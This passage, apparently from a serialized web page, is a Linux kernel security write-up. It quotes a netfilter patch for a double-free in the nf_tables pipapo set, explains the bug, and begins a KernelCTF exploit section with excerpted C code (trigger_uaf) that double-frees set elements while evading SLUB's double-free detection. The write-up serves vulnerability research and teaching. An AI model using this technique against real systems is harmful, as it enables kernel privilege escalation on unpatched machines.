05\n",{"type":25,"tag":201,"props":54984,"children":54985},{"class":203,"line":522},[54986],{"type":25,"tag":201,"props":54987,"children":54988},{},[54989],{"type":31,"value":11821},{"type":25,"tag":201,"props":54991,"children":54992},{"class":203,"line":531},[54993],{"type":25,"tag":201,"props":54994,"children":54995},{},[54996],{"type":31,"value":54997},"[16302.231917] Call Trace:\n",{"type":25,"tag":201,"props":54999,"children":55000},{"class":203,"line":550},[55001],{"type":25,"tag":201,"props":55002,"children":55003},{},[55004],{"type":31,"value":55005},"[16302.231919]  \u003CTASK>\n",{"type":25,"tag":201,"props":55007,"children":55008},{"class":203,"line":563},[55009],{"type":25,"tag":201,"props":55010,"children":55011},{},[55012],{"type":31,"value":55013},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":25,"tag":201,"props":55015,"children":55016},{"class":203,"line":572},[55017],{"type":25,"tag":201,"props":55018,"children":55019},{},[55020],{"type":31,"value":55021},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":25,"tag":201,"props":55023,"children":55024},{"class":203,"line":590},[55025],{"type":25,"tag":201,"props":55026,"children":55027},{},[55028],{"type":31,"value":55029},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":25,"tag":201,"props":55031,"children":55032},{"class":203,"line":608},[55033],{"type":25,"tag":201,"props":55034,"children":55035},{},[55036],{"type":31,"value":55037},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":25,"tag":201,"props":55039,"children":55040},{"class":203,"line":617},[55041],{"type":25,"tag":201,"props":55042,"children":55043},{},[55044],{"type":31,"value":55045},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":25,"tag":201,"props":55047,"children":55048},{"class":203,"line":625},[55049],{"type":25,"tag":201,"props":55050,"children":55051},{},[55052],{"type":31,"value":55053},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":25,"tag":201,"props":55055,"children":55056},{"class":203,"line":642},[55057],{"type":25,"tag":201,"props":55058,"children":55059},{},[55060],{"type":31,"value":55061},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":25,"tag":201,"props":55063,"children":55064},{"class":203,"line":659},[55065],{"type":25,"tag":201,"props":55066,"children":55067},{"emptyLinePlaceholder":17},[55068],{"type":31,"value":496},{"type":25,"tag":201,"props":55070,"children":55071},{"class":203,"line":667},[55072],{"type":25,"tag":201,"props":55073,"children":55074},{},[55075],{"type":31,"value":55076},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":25,"tag":201,"props":55078,"children":55079},{"class":203,"line":676},[55080],{"type":25,"tag":201,"props":55081,"children":55082},{},[55083],{"type":31,"value":55084},"elements in the lookup tables.\n",{"type":25,"tag":201,"props":55086,"children":55087},{"class":203,"line":694},[55088],{"type":25,"tag":201,"props":55089,"children":55090},{"emptyLinePlaceholder":17},[55091],{"type":31,"value":496},{"type":25,"tag":201,"props":55093,"children":55094},{"class":203,"line":707},[55095],{"type":25,"tag":201,"props":55096,"children":55097},{},[55098],{"type":31,"value":55099},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":25,"tag":201,"props":55101,"children":55102},{"class":203,"line":715},[55103],{"type":25,"tag":201,"props":55104,"children":55105},{},[55106],{"type":31,"value":55107},"cloned matching data if priv->dirty is set, because that means that\n",{"type":25,"tag":201,"props":55109,"children":55110},{"class":203,"line":732},[55111],{"type":25,"tag":201,"props":55112,"children":55113},{},[55114],{"type":31,"value":55115},"cloned data might point to additional elements we did not commit to the\n",{"type":25,"tag":201,"props":55117,"children":55118},{"class":203,"line":749},[55119],{"type":25,"tag":201,"props":55120,"children":55121},{},[55122],{"type":31,"value":55123},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":25,"tag":201,"props":55125,"children":55126},{"class":203,"line":757},[55127],{"type":25,"tag":201,"props":55128,"children":55129},{},[55130],{"type":31,"value":55131},"to it).\"\n",{"type":25,"tag":201,"props":55133,"children":55134},{"class":203,"line":765},[55135],{"type":25,"tag":201,"props":55136,"children":55137},{"emptyLinePlaceholder":17},[55138],{"type":31,"value":496},{"type":25,"tag":201,"props":55140,"children":55141},{"class":203,"line":783},[55142],{"type":25,"tag":201,"props":55143,"children":55144},{},[55145],{"type":31,"value":55146},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":25,"tag":201,"props":55148,"children":55149},{"class":203,"line":792},[55150],{"type":25,"tag":201,"props":55151,"children":55152},{},[55153],{"type":31,"value":55154},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":25,"tag":201,"props":55156,"children":55157},{"class":203,"line":801},[55158],{"type":25,"tag":201,"props":55159,"children":55160},{},[55161],{"type":31,"value":55162},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":25,"tag":34,"props":55164,"children":55165},{},[55166,55168,55173,55175,55180,55182,55187,55189,55194],{"type":31,"value":55167},"As we previously discussed, committing changes to a pipapo ",{"type":25,"tag":115,"props":55169,"children":55171},{"className":55170},[],[55172],{"type":31,"value":52097},{"type":31,"value":55174}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":25,"tag":115,"props":55176,"children":55178},{"className":55177},[],[55179],{"type":31,"value":53423},{"type":31,"value":55181}," method by simply replacing the ",{"type":25,"tag":115,"props":55183,"children":55185},{"className":55184},[],[55186],{"type":31,"value":52097},{"type":31,"value":55188},"s match object with its updated clone. So checking the ",{"type":25,"tag":115,"props":55190,"children":55192},{"className":55191},[],[55193],{"type":31,"value":52051},{"type":31,"value":55195}," flag and then calling free again ensures we also free uncommitted changes.",{"type":25,"tag":34,"props":55197,"children":55198},{},[55199,55201,55206],{"type":31,"value":55200},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":25,"tag":115,"props":55202,"children":55204},{"className":55203},[],[55205],{"type":31,"value":52097},{"type":31,"value":55207},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":25,"tag":34,"props":55209,"children":55210},{},[55211,55213,55219,55221,55226,55228,55233],{"type":31,"value":55212},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":25,"tag":115,"props":55214,"children":55216},{"className":55215},[],[55217],{"type":31,"value":55218},"set->ops->destroy()",{"type":31,"value":55220}," could be called without clearing the ",{"type":25,"tag":115,"props":55222,"children":55224},{"className":55223},[],[55225],{"type":31,"value":52051},{"type":31,"value":55227}," flag, which was fine considering you didn't have duplicated views of the ",{"type":25,"tag":115,"props":55229,"children":55231},{"className":55230},[],[55232],{"type":31,"value":52089},{"type":31,"value":55234},"s, so they would all be in the clone set.",{"type":25,"tag":34,"props":55236,"children":55237},{},[55238,55240,55245],{"type":31,"value":55239},"But when the ",{"type":25,"tag":115,"props":55241,"children":55243},{"className":55242},[],[55244],{"type":31,"value":54807},{"type":31,"value":55246}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":25,"tag":34,"props":55248,"children":55249},{},[55250],{"type":31,"value":55251},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":25,"tag":26,"props":55253,"children":55255},{"id":55254},"kernelctf-exploit",[55256],{"type":31,"value":55257},"KernelCTF exploit",{"type":25,"tag":34,"props":55259,"children":55260},{},[55261,55263,55269,55271,55278],{"type":31,"value":55262},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":25,"tag":115,"props":55264,"children":55266},{"className":55265},[],[55267],{"type":31,"value":55268},"nft_object + udata",{"type":31,"value":55270}," technique shared by lonial con in a ",{"type":25,"tag":71,"props":55272,"children":55275},{"href":55273,"rel":55274},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[75],[55276],{"type":31,"value":55277},"previous kernelCTF exploit",{"type":31,"value":80},{"type":25,"tag":40,"props":55280,"children":55282},{"id":55281},"trigger-uafavoid-double-free-detection",[55283],{"type":31,"value":55284},"Trigger UAF/avoid double-free detection",{"type":25,"tag":34,"props":55286,"children":55287},{},[55288,55290,55296,55298,55304],{"type":31,"value":55289},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":25,"tag":115,"props":55291,"children":55293},{"className":55292},[],[55294],{"type":31,"value":55295},"nft_set_pipapo_match_destroy",{"type":31,"value":55297}," iterates over the ",{"type":25,"tag":115,"props":55299,"children":55301},{"className":55300},[],[55302],{"type":31,"value":55303},"setelems",{"type":31,"value":55305}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":25,"tag":6944,"props":55307,"children":55308},{},[55309,55314,55319,55324],{"type":25,"tag":6948,"props":55310,"children":55311},{},[55312],{"type":31,"value":55313},"Element A gets freed",{"type":25,"tag":6948,"props":55315,"children":55316},{},[55317],{"type":31,"value":55318},"Element B gets free",{"type":25,"tag":6948,"props":55320,"children":55321},{},[55322],{"type":31,"value":55323},"Element A gets freed again (double-free)",{"type":25,"tag":6948,"props":55325,"children":55326},{},[55327],{"type":31,"value":55328},"Element B gets freed again (double-free)",{"type":25,"tag":191,"props":55330,"children":55332},{"className":30593,"code":55331,"language":30595,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[55333],{"type":25,"tag":115,"props":55334,"children":55335},{"__ignoreMap":7},[55336,55343,55404,55411,55418,55426,55433,55440,55448,55472,55493,55527,55588,55595,55603,55655,55662,55688,55715,55754,55783,55812,55834,55841,55848,55855,55863,55870,55878,55891,55904,55924,55931,55939,55961,55993,56038,56074,56102,56109,56116,56124,56131,56147,56154],{"type":25,"tag":201,"props":55337,"children":55338},{"class":203,"line":204},[55339],{"type":25,"tag":201,"props":55340,"children":55341},{"style":220},[55342],{"type":31,"value":11821},{"type":25,"tag":201,"props":55344,"children":55345},{"class":203,"line":226},[55346,55351,55355,55360,55364,55369,55373,55378,55383,55387,55391,55395,55400],{"type":25,"tag":201,"props":55347,"children":55348},{"style":220},[55349],{"type":31,"value":55350},"static void trigger_uaf(",{"type":25,"tag":201,"props":55352,"children":55353},{"style":208},[55354],{"type":31,"value":10905},{"type":25,"tag":201,"props":55356,"children":55357},{"style":4925},[55358],{"type":31,"value":55359}," mnl_socket",{"type":25,"tag":201,"props":55361,"children":55362},{"style":208},[55363],{"type":31,"value":11319},{"type":25,"tag":201,"props":55365,"children":55366},{"style":246},[55367],{"type":31,"value":55368},"nl",{"type":25,"tag":201,"props":55370,"children":55371},{"style":220},[55372],{"type":31,"value":919},{"type":25,"tag":201,"props":55374,"children":55375},{"style":208},[55376],{"type":31,"value":55377},"size_t",{"type":25,"tag":201,"props":55379,"children":55380},{"style":246},[55381],{"type":31,"value":55382}," size",{"type":25,"tag":201,"props":55384,"children":55385},{"style":220},[55386],{"type":31,"value":919},{"type":25,"tag":201,"props":55388,"children":55389},{"style":208},[55390],{"type":31,"value":20546},{"type":25,"tag":201,"props":55392,"children":55393},{"style":208},[55394],{"type":31,"value":11319},{"type":25,"tag":201,"props":55396,"children":55397},{"style":246},[55398],{"type":31,"value":55399},"msgqids",{"type":25,"tag":201,"props":55401,"children":55402},{"style":220},[55403],{"type":31,"value":4666},{"type":25,"tag":201,"props":55405,"children":55406},{"class":203,"line":278},[55407],{"type":25,"tag":201,"props":55408,"children":55409},{"style":220},[55410],{"type":31,"value":1822},{"type":25,"tag":201,"props":55412,"children":55413},{"class":203,"line":311},[55414],{"type":25,"tag":201,"props":55415,"children":55416},{"style":220},[55417],{"type":31,"value":11821},{"type":25,"tag":201,"props":55419,"children":55420},{"class":203,"line":330},[55421],{"type":25,"tag":201,"props":55422,"children":55423},{"style":220},[55424],{"type":31,"value":55425},"    // TRANSACTION 2\n",{"type":25,"tag":201,"props":55427,"children":55428},{"class":203,"line":397},[55429],{"type":25,"tag":201,"props":55430,"children":55431},{"style":220},[55432],{"type":31,"value":11821},{"type":25,"tag":201,"props":55434,"children":55435},{"class":203,"line":437},[55436],{"type":25,"tag":201,"props":55437,"children":55438},{"emptyLinePlaceholder":17},[55439],{"type":31,"value":496},{"type":25,"tag":201,"props":55441,"children":55442},{"class":203,"line":464},[55443],{"type":25,"tag":201,"props":55444,"children":55445},{"style":220},[55446],{"type":31,"value":55447},"    // create pipapo set\n",{"type":25,"tag":201,"props":55449,"children":55450},{"class":203,"line":490},[55451,55456,55460,55464,55468],{"type":25,"tag":201,"props":55452,"children":55453},{"style":220},[55454],{"type":31,"value":55455},"    uint8_t desc[2] = {",{"type":25,"tag":201,"props":55457,"children":55458},{"style":426},[55459],{"type":31,"value":41918},{"type":25,"tag":201,"props":55461,"children":55462},{"style":220},[55463],{"type":31,"value":919},{"type":25,"tag":201,"props":55465,"children":55466},{"style":426},[55467],{"type":31,"value":41918},{"type":25,"tag":201,"props":55469,"children":55470},{"style":220},[55471],{"type":31,"value":18073},{"type":25,"tag":201,"props":55473,"children":55474},{"class":203,"line":499},[55475,55480,55484,55489],{"type":25,"tag":201,"props":55476,"children":55477},{"style":220},[55478],{"type":31,"value":55479},"    set ",{"type":25,"tag":201,"props":55481,"children":55482},{"style":261},[55483],{"type":31,"value":1383},{"type":25,"tag":201,"props":55485,"children":55486},{"style":214},[55487],{"type":31,"value":55488}," create_set",{"type":25,"tag":201,"props":55490,"children":55491},{"style":220},[55492],{"type":31,"value":4970},{"type":25,"tag":201,"props":55494,"children":55495},{"class":203,"line":522},[55496,55501,55505,55510,55515,55519,55523],{"type":25,"tag":201,"props":55497,"children":55498},{"style":220},[55499],{"type":31,"value":55500},"        batch, seq",{"type":25,"tag":201,"props":55502,"children":55503},{"style":261},[55504],{"type":31,"value":52347},{"type":25,"tag":201,"props":55506,"children":55507},{"style":220},[55508],{"type":31,"value":55509},", exploit_table_name, ",{"type":25,"tag":201,"props":55511,"children":55512},{"style":267},[55513],{"type":31,"value":55514},"\"pwn_set\"",{"type":25,"tag":201,"props":55516,"children":55517},{"style":220},[55518],{"type":31,"value":919},{"type":25,"tag":201,"props":55520,"children":55521},{"style":426},[55522],{"type":31,"value":44575},{"type":25,"tag":201,"props":55524,"children":55525},{"style":220},[55526],{"type":31,"value":547},{"type":25,"tag":201,"props":55528,"children":55529},{"class":203,"line":531},[55530,55535,55539,55544,55548,55553,55557,55561,55565,55570,55575,55579,55583],{"type":25,"tag":201,"props":55531,"children":55532},{"style":220},[55533],{"type":31,"value":55534},"        NFT_SET_INTERVAL ",{"type":25,"tag":201,"props":55536,"children":55537},{"style":261},[55538],{"type":31,"value":11918},{"type":25,"tag":201,"props":55540,"children":55541},{"style":220},[55542],{"type":31,"value":55543}," NFT_SET_OBJECT ",{"type":25,"tag":201,"props":55545,"children":55546},{"style":261},[55547],{"type":31,"value":11918},{"type":25,"tag":201,"props":55549,"children":55550},{"style":220},[55551],{"type":31,"value":55552}," NFT_SET_CONCAT, KEY_LEN, ",{"type":25,"tag":201,"props":55554,"children":55555},{"style":426},[55556],{"type":31,"value":4629},{"type":25,"tag":201,"props":55558,"children":55559},{"style":220},[55560],{"type":31,"value":919},{"type":25,"tag":201,"props":55562,"children":55563},{"style":261},[55564],{"type":31,"value":4615},{"type":25,"tag":201,"props":55566,"children":55567},{"style":220},[55568],{"type":31,"value":55569},"desc, ",{"type":25,"tag":201,"props":55571,"children":55572},{"style":208},[55573],{"type":31,"value":55574},"NULL",{"type":25,"tag":201,"props":55576,"children":55577},{"style":220},[55578],{"type":31,"value":919},{"type":25,"tag":201,"props":55580,"children":55581},{"style":426},[55582],{"type":31,"value":429},{"type":25,"tag":201,"props":55584,"children":55585},{"style":220},[55586],{"type":31,"value":55587},", NFT_OBJECT_CT_EXPECT);\n",{"type":25,"tag":201,"props":55589,"children":55590},{"class":203,"line":550},[55591],{"type":25,"tag":201,"props":55592,"children":55593},{"emptyLinePlaceholder":17},[55594],{"type":31,"value":496},{"type":25,"tag":201,"props":55596,"children":55597},{"class":203,"line":563},[55598],{"type":25,"tag":201,"props":55599,"children":55600},{"style":4497},[55601],{"type":31,"value":55602},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":25,"tag":201,"props":55604,"children":55605},{"class":203,"line":572},[55606,55610,55614,55618,55623,55627,55631,55635,55639,55643,55647,55651],{"type":25,"tag":201,"props":55607,"children":55608},{"style":230},[55609],{"type":31,"value":4539},{"type":25,"tag":201,"props":55611,"children":55612},{"style":220},[55613],{"type":31,"value":238},{"type":25,"tag":201,"props":55615,"children":55616},{"style":208},[55617],{"type":31,"value":20546},{"type":25,"tag":201,"props":55619,"children":55620},{"style":220},[55621],{"type":31,"value":55622}," i ",{"type":25,"tag":201,"props":55624,"children":55625},{"style":261},[55626],{"type":31,"value":1383},{"type":25,"tag":201,"props":55628,"children":55629},{"style":426},[55630],{"type":31,"value":4554},{"type":25,"tag":201,"props":55632,"children":55633},{"style":220},[55634],{"type":31,"value":52311},{"type":25,"tag":201,"props":55636,"children":55637},{"style":261},[55638],{"type":31,"value":1298},{"type":25,"tag":201,"props":55640,"children":55641},{"style":426},[55642],{"type":31,"value":9443},{"type":25,"tag":201,"props":55644,"children":55645},{"style":220},[55646],{"type":31,"value":52342},{"type":25,"tag":201,"props":55648,"children":55649},{"style":261},[55650],{"type":31,"value":52347},{"type":25,"tag":201,"props":55652,"children":55653},{"style":220},[55654],{"type":31,"value":4666},{"type":25,"tag":201,"props":55656,"children":55657},{"class":203,"line":590},[55658],{"type":25,"tag":201,"props":55659,"children":55660},{"style":220},[55661],{"type":31,"value":30670},{"type":25,"tag":201,"props":55663,"children":55664},{"class":203,"line":608},[55665,55670,55675,55679,55684],{"type":25,"tag":201,"props":55666,"children":55667},{"style":246},[55668],{"type":31,"value":55669},"        elem",{"type":25,"tag":201,"props":55671,"children":55672},{"style":220},[55673],{"type":31,"value":55674},"[i] ",{"type":25,"tag":201,"props":55676,"children":55677},{"style":261},[55678],{"type":31,"value":1383},{"type":25,"tag":201,"props":55680,"children":55681},{"style":214},[55682],{"type":31,"value":55683}," nftnl_set_elem_alloc",{"type":25,"tag":201,"props":55685,"children":55686},{"style":220},[55687],{"type":31,"value":1985},{"type":25,"tag":201,"props":55689,"children":55690},{"class":203,"line":617},[55691,55696,55701,55706,55710],{"type":25,"tag":201,"props":55692,"children":55693},{"style":214},[55694],{"type":31,"value":55695},"        memset",{"type":25,"tag":201,"props":55697,"children":55698},{"style":220},[55699],{"type":31,"value":55700},"(key, ",{"type":25,"tag":201,"props":55702,"children":55703},{"style":426},[55704],{"type":31,"value":55705},"0x41",{"type":25,"tag":201,"props":55707,"children":55708},{"style":261},[55709],{"type":31,"value":10412},{"type":25,"tag":201,"props":55711,"children":55712},{"style":220},[55713],{"type":31,"value":55714}," i, KEY_LEN);\n",{"type":25,"tag":201,"props":55716,"children":55717},{"class":203,"line":625},[55718,55723,55727,55731,55736,55741,55745,55750],{"type":25,"tag":201,"props":55719,"children":55720},{"style":214},[55721],{"type":31,"value":55722},"        nftnl_set_elem_set",{"type":25,"tag":201,"props":55724,"children":55725},{"style":220},[55726],{"type":31,"value":298},{"type":25,"tag":201,"props":55728,"children":55729},{"style":246},[55730],{"type":31,"value":53142},{"type":25,"tag":201,"props":55732,"children":55733},{"style":220},[55734],{"type":31,"value":55735},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":25,"tag":201,"props":55737,"children":55738},{"style":267},[55739],{"type":31,"value":55740},"\"pwnobj\"",{"type":25,"tag":201,"props":55742,"children":55743},{"style":220},[55744],{"type":31,"value":919},{"type":25,"tag":201,"props":55746,"children":55747},{"style":426},[55748],{"type":31,"value":55749},"7",{"type":25,"tag":201,"props":55751,"children":55752},{"style":220},[55753],{"type":31,"value":308},{"type":25,"tag":201,"props":55755,"children":55756},{"class":203,"line":642},[55757,55761,55765,55769,55774,55778],{"type":25,"tag":201,"props":55758,"children":55759},{"style":214},[55760],{"type":31,"value":55722},{"type":25,"tag":201,"props":55762,"children":55763},{"style":220},[55764],{"type":31,"value":298},{"type":25,"tag":201,"props":55766,"children":55767},{"style":246},[55768],{"type":31,"value":53142},{"type":25,"tag":201,"props":55770,"children":55771},{"style":220},[55772],{"type":31,"value":55773},"[i], NFTNL_SET_ELEM_KEY, ",{"type":25,"tag":201,"props":55775,"children":55776},{"style":261},[55777],{"type":31,"value":4615},{"type":25,"tag":201,"props":55779,"children":55780},{"style":220},[55781],{"type":31,"value":55782},"key, KEY_LEN);\n",{"type":25,"tag":201,"props":55784,"children":55785},{"class":203,"line":659},[55786,55790,55794,55798,55803,55807],{"type":25,"tag":201,"props":55787,"children":55788},{"style":214},[55789],{"type":31,"value":55722},{"type":25,"tag":201,"props":55791,"children":55792},{"style":220},[55793],{"type":31,"value":298},{"type":25,"tag":201,"props":55795,"children":55796},{"style":246},[55797],{"type":31,"value":53142},{"type":25,"tag":201,"props":55799,"children":55800},{"style":220},[55801],{"type":31,"value":55802},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":25,"tag":201,"props":55804,"children":55805},{"style":261},[55806],{"type":31,"value":4615},{"type":25,"tag":201,"props":55808,"children":55809},{"style":220},[55810],{"type":31,"value":55811},"udata_buf, size);\n",{"type":25,"tag":201,"props":55813,"children":55814},{"class":203,"line":667},[55815,55820,55825,55829],{"type":25,"tag":201,"props":55816,"children":55817},{"style":214},[55818],{"type":31,"value":55819},"        nftnl_set_elem_add",{"type":25,"tag":201,"props":55821,"children":55822},{"style":220},[55823],{"type":31,"value":55824},"(set, ",{"type":25,"tag":201,"props":55826,"children":55827},{"style":246},[55828],{"type":31,"value":53142},{"type":25,"tag":201,"props":55830,"children":55831},{"style":220},[55832],{"type":31,"value":55833},"[i]);\n",{"type":25,"tag":201,"props":55835,"children":55836},{"class":203,"line":676},[55837],{"type":25,"tag":201,"props":55838,"children":55839},{"style":220},[55840],{"type":31,"value":4861},{"type":25,"tag":201,"props":55842,"children":55843},{"class":203,"line":694},[55844],{"type":25,"tag":201,"props":55845,"children":55846},{"style":220},[55847],{"type":31,"value":11821},{"type":25,"tag":201,"props":55849,"children":55850},{"class":203,"line":707},[55851],{"type":25,"tag":201,"props":55852,"children":55853},{"emptyLinePlaceholder":17},[55854],{"type":31,"value":496},{"type":25,"tag":201,"props":55856,"children":55857},{"class":203,"line":715},[55858],{"type":25,"tag":201,"props":55859,"children":55860},{"style":220},[55861],{"type":31,"value":55862},"    // TRANSACTION 3\n",{"type":25,"tag":201,"props":55864,"children":55865},{"class":203,"line":732},[55866],{"type":25,"tag":201,"props":55867,"children":55868},{"style":220},[55869],{"type":31,"value":11821},{"type":25,"tag":201,"props":55871,"children":55872},{"class":203,"line":749},[55873],{"type":25,"tag":201,"props":55874,"children":55875},{"style":220},[55876],{"type":31,"value":55877},"    set = nftnl_set_alloc();\n",{"type":25,"tag":201,"props":55879,"children":55880},{"class":203,"line":757},[55881,55886],{"type":25,"tag":201,"props":55882,"children":55883},{"style":214},[55884],{"type":31,"value":55885},"    nftnl_set_set_u32",{"type":25,"tag":201,"props":55887,"children":55888},{"style":220},[55889],{"type":31,"value":55890},"(set, NFTNL_SET_FAMILY, family);\n",{"type":25,"tag":201,"props":55892,"children":55893},{"class":203,"line":765},[55894,55899],{"type":25,"tag":201,"props":55895,"children":55896},{"style":214},[55897],{"type":31,"value":55898},"    nftnl_set_set_str",{"type":25,"tag":201,"props":55900,"children":55901},{"style":220},[55902],{"type":31,"value":55903},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":25,"tag":201,"props":55905,"children":55906},{"class":203,"line":783},[55907,55911,55916,55920],{"type":25,"tag":201,"props":55908,"children":55909},{"style":214},[55910],{"type":31,"value":55898},{"type":25,"tag":201,"props":55912,"children":55913},{"style":220},[55914],{"type":31,"value":55915},"(set, NFTNL_SET_NAME, ",{"type":25,"tag":201,"props":55917,"children":55918},{"style":267},[55919],{"type":31,"value":55514},{"type":25,"tag":201,"props":55921,"children":55922},{"style":220},[55923],{"type":31,"value":308},{"type":25,"tag":201,"props":55925,"children":55926},{"class":203,"line":792},[55927],{"type":25,"tag":201,"props":55928,"children":55929},{"emptyLinePlaceholder":17},[55930],{"type":31,"value":496},{"type":25,"tag":201,"props":55932,"children":55933},{"class":203,"line":801},[55934],{"type":25,"tag":201,"props":55935,"children":55936},{"style":4497},[55937],{"type":31,"value":55938},"    // make priv->dirty true\n",{"type":25,"tag":201,"props":55940,"children":55941},{"class":203,"line":809},[55942,55947,55951,55956],{"type":25,"tag":201,"props":55943,"children":55944},{"style":214},[55945],{"type":31,"value":55946},"    memset",{"type":25,"tag":201,"props":55948,"children":55949},{"style":220},[55950],{"type":31,"value":55700},{"type":25,"tag":201,"props":55952,"children":55953},{"style":426},[55954],{"type":31,"value":55955},"0xff",{"type":25,"tag":201,"props":55957,"children":55958},{"style":220},[55959],{"type":31,"value":55960},", KEY_LEN);\n",{"type":25,"tag":201,"props":55962,"children":55963},{"class":203,"line":857},[55964,55969,55973,55977,55981,55985,55989],{"type":25,"tag":201,"props":55965,"children":55966},{"style":246},[55967],{"type":31,"value":55968},"    elem",{"type":25,"tag":201,"props":55970,"children":55971},{"style":220},[55972],{"type":31,"value":423},{"type":25,"tag":201,"props":55974,"children":55975},{"style":426},[55976],{"type":31,"value":18792},{"type":25,"tag":201,"props":55978,"children":55979},{"style":220},[55980],{"type":31,"value":10169},{"type":25,"tag":201,"props":55982,"children":55983},{"style":261},[55984],{"type":31,"value":1383},{"type":25,"tag":201,"props":55986,"children":55987},{"style":214},[55988],{"type":31,"value":55683},{"type":25,"tag":201,"props":55990,"children":55991},{"style":220},[55992],{"type":31,"value":1985},{"type":25,"tag":201,"props":55994,"children":55995},{"class":203,"line":865},[55996,56001,56005,56009,56013,56017,56022,56026,56030,56034],{"type":25,"tag":201,"props":55997,"children":55998},{"style":214},[55999],{"type":31,"value":56000},"    nftnl_set_elem_set",{"type":25,"tag":201,"props":56002,"children":56003},{"style":220},[56004],{"type":31,"value":298},{"type":25,"tag":201,"props":56006,"children":56007},{"style":246},[56008],{"type":31,"value":53142},{"type":25,"tag":201,"props":56010,"children":56011},{"style":220},[56012],{"type":31,"value":423},{"type":25,"tag":201,"props":56014,"children":56015},{"style":426},[56016],{"type":31,"value":18792},{"type":25,"tag":201,"props":56018,"children":56019},{"style":220},[56020],{"type":31,"value":56021},"], NFTNL_SET_ELEM_OBJREF, ",{"type":25,"tag":201,"props":56023,"children":56024},{"style":267},[56025],{"type":31,"value":55740},{"type":25,"tag":201,"props":56027,"children":56028},{"style":220},[56029],{"type":31,"value":919},{"type":25,"tag":201,"props":56031,"children":56032},{"style":426},[56033],{"type":31,"value":55749},{"type":25,"tag":201,"props":56035,"children":56036},{"style":220},[56037],{"type":31,"value":308},{"type":25,"tag":201,"props":56039,"children":56040},{"class":203,"line":931},[56041,56045,56049,56053,56057,56061,56066,56070],{"type":25,"tag":201,"props":56042,"children":56043},{"style":214},[56044],{"type":31,"value":56000},{"type":25,"tag":201,"props":56046,"children":56047},{"style":220},[56048],{"type":31,"value":298},{"type":25,"tag":201,"props":56050,"children":56051},{"style":246},[56052],{"type":31,"value":53142},{"type":25,"tag":201,"props":56054,"children":56055},{"style":220},[56056],{"type":31,"value":423},{"type":25,"tag":201,"props":56058,"children":56059},{"style":426},[56060],{"type":31,"value":18792},{"type":25,"tag":201,"props":56062,"children":56063},{"style":220},[56064],{"type":31,"value":56065},"], NFTNL_SET_ELEM_KEY, 